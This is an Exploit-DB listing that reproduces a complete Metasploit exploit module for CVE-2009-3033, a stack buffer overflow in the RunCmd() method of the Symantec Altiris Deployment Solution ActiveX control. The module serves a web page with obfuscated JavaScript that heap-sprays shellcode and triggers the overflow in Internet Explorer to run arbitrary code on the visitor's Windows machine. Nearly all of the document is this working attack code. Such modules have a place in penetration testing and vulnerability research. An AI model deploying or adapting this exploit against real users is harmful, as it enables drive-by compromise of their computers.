标题: Symantec Altiris Deployment Solution - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16528 CVE: 2009-3033 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: symantec_altirisdeployment_runcmd.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Symantec Altiris Deployment Solution ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Symantec Altiris Deployment Solution.
    When sending an overly long string to RunCmd() method of
    AeXNSConsoleUtilities.dll (6.0.0.1426) an attacker may be able to execute arbitrary
    code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2009-3033' ],
     [ 'BID', '37092' ],
     [ 'OSVDB', '60496' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
    ],
   'DisclosureDate' => 'Nov 4 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
   ], self.class)
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  js = %Q|
   try {
    var evil_string = "";
    var index;
    var vulnerable = new ActiveXObject('Altiris.AeXNSConsoleUtilities.1');
    var my_unescape = unescape;
    var shellcode = '#{shellcode}';
    #{js_heap_spray}
    sprayHeap(my_unescape(shellcode), 0x0D0D0D0D, 0x40000);
    for (index = 0; index < 12260; index++) {
     evil_string = evil_string + my_unescape('0x0D0D0D0D');
    }
    vulnerable.RunCMD(evil_string, '');
   } catch( e ) { window.location = 'about:blank' ; }
  |

  opts = {
   'Strings' => true,
   'Symbols' => {
    'Variables' => [
     'vulnerable',
     'shellcode',
     'my_unescape',
     'index',
     'evil_string',
    ]
   }
  }
  js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
  js.update_opts(js_heap_spray.opts)
  js.obfuscate()
  content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16528